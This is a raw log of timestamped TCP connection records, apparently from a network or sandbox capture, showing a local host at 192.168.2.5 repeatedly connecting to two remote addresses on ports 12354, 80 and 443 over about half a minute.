Dec 11, 2024 16:25:41.737643957 CET	80	49986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:43.186914921 CET	80	49986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:43.187028885 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:43.199215889 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:43.199275970 CET	443	50006	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:43.199345112 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:43.199666023 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:43.199685097 CET	443	50006	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:43.626550913 CET	12354	49983	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.626671076 CET	49983	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.626741886 CET	49983	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.627275944 CET	50011	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.735400915 CET	12354	49985	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.735532045 CET	49985	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.735613108 CET	49985	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.742964029 CET	50014	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.746090889 CET	12354	49983	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.746728897 CET	12354	50011	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.746848106 CET	50011	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.746990919 CET	50011	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.856440067 CET	12354	49985	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.863630056 CET	12354	50014	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.863724947 CET	50014	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.864727974 CET	50014	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:43.868287086 CET	12354	50011	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:43.987622023 CET	12354	50014	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:44.895433903 CET	443	50006	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:44.895509005 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:44.896505117 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:44.896516085 CET	443	50006	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:44.898515940 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:44.898526907 CET	443	50006	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:45.396600008 CET	50011	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.396604061 CET	50006	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.396609068 CET	50014	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.397056103 CET	50034	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.519155979 CET	12354	50034	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:45.519238949 CET	50034	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.520080090 CET	50034	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.547341108 CET	50036	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.549918890 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.550436020 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.644964933 CET	12354	50034	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:45.670988083 CET	12354	50036	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:45.672887087 CET	50036	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.672887087 CET	50036	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:45.673700094 CET	80	49986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:45.673798084 CET	80	50037	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:45.673868895 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.673890114 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.674066067 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:45.795216084 CET	12354	50036	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:45.796370983 CET	80	50037	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:47.247637033 CET	80	50037	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:47.247776985 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:47.250564098 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:47.250619888 CET	443	50058	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:47.250921011 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:47.251255989 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:47.251266956 CET	443	50058	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:47.657362938 CET	12354	50034	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.657437086 CET	50034	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.659353018 CET	50034	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.659805059 CET	50062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.778841972 CET	12354	50034	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.779088020 CET	12354	50062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.779176950 CET	50062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.779491901 CET	50062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.798245907 CET	12354	50036	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.798357964 CET	50036	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.798592091 CET	50036	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.798814058 CET	50065	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.899332047 CET	12354	50062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.921735048 CET	12354	50036	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.921921968 CET	12354	50065	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:47.921999931 CET	50065	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:47.922308922 CET	50065	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:48.041774035 CET	12354	50065	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:48.941998005 CET	443	50058	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:48.942063093 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:48.942873955 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:48.942879915 CET	443	50058	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:48.945301056 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:48.945307016 CET	443	50058	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:49.521636963 CET	50058	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.521670103 CET	50065	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.521842957 CET	50062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.522447109 CET	50085	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.641887903 CET	12354	50085	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:49.642070055 CET	50085	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.645308971 CET	50087	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.645656109 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.645889997 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.647121906 CET	50085	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.764818907 CET	12354	50087	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:49.765058041 CET	50087	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.765381098 CET	80	50088	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:49.765444994 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.765512943 CET	50087	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:49.765539885 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.765577078 CET	80	50037	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:49.765631914 CET	50037	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:49.766505003 CET	12354	50085	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:49.884864092 CET	12354	50087	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:49.884890079 CET	80	50088	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:51.495618105 CET	80	50088	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:51.495693922 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:51.500665903 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:51.500700951 CET	443	50110	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:51.500802040 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:51.501292944 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:51.501302004 CET	443	50110	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:51.751090050 CET	12354	50085	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.752768040 CET	50085	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.752839088 CET	50085	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.753319025 CET	50113	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.872302055 CET	12354	50085	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.872776031 CET	12354	50113	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.876523972 CET	12354	50087	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.876662016 CET	50113	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.876662016 CET	50087	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.876904011 CET	50113	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.877073050 CET	50087	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.877545118 CET	50115	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.996206045 CET	12354	50113	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.996426105 CET	12354	50087	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.996989012 CET	12354	50115	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:51.997092962 CET	50115	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:51.997215033 CET	50115	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:52.116684914 CET	12354	50115	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:53.203900099 CET	443	50110	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:53.204021931 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.205950975 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.205956936 CET	443	50110	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:53.209197044 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.209202051 CET	443	50110	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:53.521842957 CET	50110	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.521842957 CET	50115	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.521842957 CET	50113	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.522617102 CET	50135	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.635360003 CET	50137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.636519909 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.636746883 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.647149086 CET	12354	50135	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:53.647274971 CET	50135	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.647526026 CET	50135	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.758327007 CET	12354	50137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:53.758342981 CET	80	50138	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:53.758405924 CET	50137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.758514881 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.758932114 CET	80	50088	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:53.759022951 CET	50088	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.762279987 CET	50137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:53.762641907 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:53.768424034 CET	12354	50135	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:53.881664991 CET	12354	50137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:53.883369923 CET	80	50138	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:55.319665909 CET	80	50138	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:55.319777966 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:55.322413921 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:55.322472095 CET	443	50159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:55.322541952 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:55.322792053 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:55.322801113 CET	443	50159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:55.751760960 CET	12354	50135	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:55.751876116 CET	50135	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.751918077 CET	50135	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.752293110 CET	50165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.871190071 CET	12354	50135	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:55.871598005 CET	12354	50165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:55.871695042 CET	50165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.876281977 CET	12354	50137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:55.876360893 CET	50137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.893260002 CET	50137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.893282890 CET	50165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:55.896014929 CET	50167	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:56.013143063 CET	12354	50137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:56.013173103 CET	12354	50165	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:56.015331030 CET	12354	50167	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:56.015415907 CET	50167	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:56.015638113 CET	50167	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:56.135051012 CET	12354	50167	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:57.006273985 CET	443	50159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:57.006438017 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.008047104 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.008075953 CET	443	50159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:57.010270119 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.010283947 CET	443	50159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:57.537255049 CET	50167	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.537286997 CET	50165	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.537326097 CET	50159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.537992954 CET	50189	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.657459021 CET	12354	50189	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:57.657526970 CET	50189	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.657695055 CET	50189	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.674083948 CET	50192	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.675168991 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.675496101 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.779412031 CET	12354	50189	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:57.796708107 CET	12354	50192	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:57.796847105 CET	50192	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.797046900 CET	50192	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:57.797840118 CET	80	50193	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:57.797909975 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.798017025 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.798053980 CET	80	50138	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:57.798177004 CET	50138	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:57.916368008 CET	12354	50192	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:57.917325020 CET	80	50193	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:59.391890049 CET	80	50193	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:59.391966105 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:59.422369957 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:59.422414064 CET	443	50212	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:59.422498941 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:59.423702955 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:59.423722029 CET	443	50212	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:59.767077923 CET	12354	50189	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:59.767196894 CET	50189	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.770853996 CET	50189	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.775480032 CET	50219	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.890207052 CET	12354	50189	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:59.894784927 CET	12354	50219	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:59.894900084 CET	50219	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.895025015 CET	50219	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.907474041 CET	12354	50192	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:59.907607079 CET	50192	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.907754898 CET	50192	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:59.908513069 CET	50223	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:00.014857054 CET	12354	50219	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:00.028116941 CET	12354	50192	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:00.028501987 CET	12354	50223	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:00.028588057 CET	50223	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:00.034758091 CET	50223	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:00.155236006 CET	12354	50223	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:01.115115881 CET	443	50212	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:01.116666079 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:01.122469902 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:01.122488976 CET	443	50212	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:01.124339104 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:01.124347925 CET	443	50212	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:01.653055906 CET	50219	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:01.653079033 CET	50212	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:01.653107882 CET	50223	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:01.775322914 CET	50239	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:01.897552013 CET	12354	50239	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:01.897629023 CET	50239	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:01.928225994 CET	50239	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:01.997685909 CET	50246	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:02.000441074 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:02.000782967 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:02.048736095 CET	12354	50239	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:02.117273092 CET	12354	50246	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:02.117367983 CET	50246	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:02.117824078 CET	50246	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:02.120512962 CET	80	50193	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:02.120594978 CET	50193	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:02.120666981 CET	80	50247	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:02.120728016 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:02.120924950 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:02.238008022 CET	12354	50246	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:02.240111113 CET	80	50247	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:03.678016901 CET	80	50247	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:03.679698944 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:03.682420969 CET	50263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:03.682454109 CET	443	50263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:03.682738066 CET	50263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:03.682838917 CET	50263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:03.682857037 CET	443	50263	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:04.016865969 CET	12354	50239	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.020658016 CET	50239	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.020747900 CET	50239	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.021264076 CET	50268	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.140208006 CET	12354	50239	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.140599966 CET	12354	50268	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.140693903 CET	50268	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.148794889 CET	50268	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.220688105 CET	12354	50246	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.220844984 CET	50246	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.220967054 CET	50246	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.221486092 CET	50276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.268316984 CET	12354	50268	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.340382099 CET	12354	50246	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.340765953 CET	12354	50276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:04.340858936 CET	50276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.341126919 CET	50276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:04.460947037 CET	12354	50276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:06.019870043 CET	50276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.019881010 CET	50268	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.019892931 CET	50263	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.030366898 CET	50299	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.135708094 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.135863066 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.136084080 CET	50304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.149785995 CET	12354	50299	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:06.149873018 CET	50299	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.150037050 CET	50299	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.255192995 CET	80	50303	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:06.255347013 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.255348921 CET	12354	50304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:06.255368948 CET	80	50247	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:06.255410910 CET	50304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.255599976 CET	50247	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.255866051 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:06.255980968 CET	50304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:06.269259930 CET	12354	50299	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:06.378292084 CET	80	50303	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:06.378474951 CET	12354	50304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:07.845601082 CET	80	50303	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:07.848715067 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:07.851289034 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:07.851326942 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:07.852674961 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:07.853034019 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:07.853039980 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:08.267070055 CET	12354	50299	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.267200947 CET	50299	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.268275023 CET	50299	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.268770933 CET	50337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.387576103 CET	12354	50299	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.388009071 CET	12354	50337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.388241053 CET	50337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.392535925 CET	50337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.393546104 CET	12354	50304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.393608093 CET	50304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.396754026 CET	50304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.400506973 CET	50340	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.513104916 CET	12354	50337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.516139984 CET	12354	50304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.522651911 CET	12354	50340	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:08.522738934 CET	50340	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.523097992 CET	50340	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:08.642538071 CET	12354	50340	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:09.552227020 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:09.552326918 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:09.553037882 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:09.553107977 CET	50331	443	192.168.2.5	202.108.0.52
